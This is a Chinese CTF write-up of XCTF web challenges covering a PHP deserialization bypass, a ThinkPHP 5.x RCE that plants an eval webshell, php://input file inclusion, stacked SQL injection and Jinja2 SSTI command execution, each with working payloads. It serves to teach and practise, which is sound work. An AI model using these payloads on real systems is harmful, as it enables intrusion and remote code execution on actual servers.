XCTF训练write up

XCTF训练write up

1、进阶—Web_php_unserialize

题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php 
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() { //反序列化后会调用此函数,反序列化的对象属性个数错误时,会绕过此函数。CVE-2016-7124
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>

Write Up:此题主要考察两个点。1、php反序列化漏洞;2、preg_match的函数绕过。

1、通过php反序列化漏洞首先得到我们希望执行的Payload:

?var = O:4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";},这里重点时对象的属性数量错误,绕过wakeup。

2、绕过preg_match正则表达式的匹配。

源码:preg_match('/[oc]:\d+:/i', $var),匹配的是 -> O/C : 任意数字:这种字符串,且大小写都可。这里我傻了,其实只要4前加一个+即可,Payload:

?var = O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}

3、private属性经过序列化后的属性名是%00类名%00属性名,构造反序列化payload时这个ASCII码为0的字符不好手打,因为这其中涉及到很多编码问题。

​ 方法①:用php代码模拟序列化类后,进行字符串替换操作构造payload,再用base64函数加密,得到payload

​ 方法②:使用python构造payload其中ASCII码0的字符可以使用\x00代替,在python中\x**表示一个十六进制的ASCII码字符,\***表示一个八进制的ASCII码字符。对应脚本:

1
2
3
4
5
6
7
import requests,base64
url = "http://220.249.52.133:56111"
payload = b'O:+4:"Demo":2:{s:10:"\x00Demo\x00file";s:8:"fl4g.php";}'
data = base64.b64encode(payload)
params = {"var" : data}
res = requests.get(url, params=params)
print(res.text)

Flag:

dxG2ZT.png

2、进阶—php_rce(thinkphp5.0 RCE漏洞)

漏洞影响范围:5.1 <= 5.1.32 / 5.0 <= 5.0.23

https://0kee.360.cn/blog/thinkphp-5-x-rce-%e6%bc%8f%e6%b4%9e%e5%88%86%e6%9e%90%e4%b8%8e%e5%88%a9%e7%94%a8%e6%80%bb%e7%bb%93/

https://www.cnblogs.com/zpchcbd/p/12622077.html

Payload:

1
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zxc1.php&vars[1][]=<?php @eval($_POST[zjc]);?>

3、进阶—Web_php_include

题目源码:

1
2
3
4
5
6
7
8
9
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>

Payload:这里采用php伪协议的input方法。大小写转变绕过防御,php://input 是个可以访问POST请求数据的只读流。所以Payload由BP抓包修改发送。最终由include函数将POST中的代码包含到文件中执行,发现flag在fl4gisisish3r3.php中,再次修改post内容查看该文件即可拿到flag。

这里没有用到hello,看writeup其实有更多的解题方法,日后慢慢学习。这里第一次接触了php支持的相关伪协议。

1
2
3
4
POST /?page=Php://input HTTP/1.1
......

<?php system('ls'); ?>

4、supersqli

经过测试此题只有层叠注入可用,通过层叠注入,我们可以获得表的信息,发现flag在名为1919810931114514的数据表下,下面是三种注入获得flag方式。

方法一:

https://www.cnblogs.com/sallyzhang/p/12627343.html

该题只过滤了select|update|delete|drop|insert|where命令,却没有过滤alter,因此,我们可以将1919810931114514表改名为业务逻辑表words,并且修改对应的字段和原words表相同,即可正常逻辑访问得出flag。

words表列是id(int10)和data(varchar10),每次查询业务都会查询这两列数据且where id

1
2
3
4
1、将业务逻辑words表改为其他名字,将flag表改为words,对应flag字段改为业务中查询的id
http://220.249.52.133:47012/?inject=1';ALTER TABLE words RENAME TO words1;ALTER TABLE `1919810931114514` RENAME TO words;ALTER TABLE words CHANGE flag id VARCHAR(50);#
2、万能查询所有即可
http://220.249.52.133:47012/?inject=1' or 1=1;#

方法二:

https://www.mysqlzh.com/doc/131.html

SQL预处理语句:

1
http://220.249.52.133:44445/?inject=1';set @flag=concat(' se','lect flag from `1919810931114514`'); Prepare res from @flag;execute res;--+

方法三:

https://www.cnblogs.com/joker-vip/p/12483823.html

使用handler查询,payload如下:

1
-1';handler `1919810931114514` open;handler `1919810931114514` read first;#

HANDLER…OPEN语句用于打开一个表,通过后续的HANDLER…READ语句建立读取表的通道。本表目标不会被其它线程共享,也不会关闭,直到线程调用

5、python template injection

此题属于SSTI(Server-Side Template Injection),这种模板为了防止代码任意执行的问题设置了沙盒机制,但是还是有办法绕过,绕过方法见下面payload。(个人猜想)

https://blog.csdn.net/zz_Caleb/article/details/96480967

讲解SSTI:https://www.cnblogs.com/tr1ple/p/9415641.html

CTF|有关SSTI的一切小秘密【Flask SSTI+姿势集+Tplmap大杀器】:https://zhuanlan.zhihu.com/p/93746437

Python类的特殊属性https://docs.python.org/zh-cn/3.7/library/stdtypes.html#special-attributes

1
2
3
4
5
instance.__class__ 可以获取当前实例的类对象
class.__base__ 获取类的基类
class.__bases__ 获取元组形式的类的基类
class.__mro__ 获得包括当前类的所有父类元组(可理解为一步一步解析找到基类)
class.__subclasses__() 获得该类的所有子类

Payload:

为了代码执行,我们需要使用os模块中的函数。http://220.249.52.133:42543/{{[].__class__.__base__.__subclasses__()}}可获得所有的类。os模块都是从warnings.catch_warnings类入手的,在所有模块中查找warnings.catch_warnings的位置,为第134个……详见XCTF题解

1
2
3
4
5
6
7
8
9
10
11
http://220.249.52.133:42543/{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("cat fl4g").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

SSTI注入工具

​ Tplmap:https://github.com/epinna/tplmap

​ 需要环境:PyYaml,使用pip下载

python2 tplmap.py -u XXXX

6、NaNNaNNaNNaN-Batman

js乱码,eval改alert显示,或者将对应乱码的二进制改成浏览器可识别的/xNN十六进制。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function $()
{
var e=document.getElementById("c").value;
if(e.length==16)
if(e.match(/^be0f23/)!=null)
if(e.match(/233ac/)!=null)
if(e.match(/e98aa$/)!=null)
if(e.match(/c7be9/)!=null) #be0f23 3ac 7b e98aa
{
var t=["fl","s_a","i","e}"];
var n=["a","_h0l","n"];
var r=["g{","e","_0"];
var i=["it'","_","n"];
var s=[t,n,r,i];
for(var o=0;o<13;++o)
{
document.write(s[o%4][0]);
s[o%4].splice(0,1)
}
}
}
document.write('<input id="c"><button onclick=$()>Ok</button>');
delete _

flag{it’s_a_h0le_in_0ne}

7、PHP2

晕啊!这里学习到了.PHPS这个东西!

phps文件就是php的源代码文件,通常用于提供给用户(访问者)直接通过Web浏览器查看php代码的内容。

当前网速较慢或者你使用的浏览器不支持博客特定功能,请尝试刷新或换用Chrome、Firefox等现代浏览器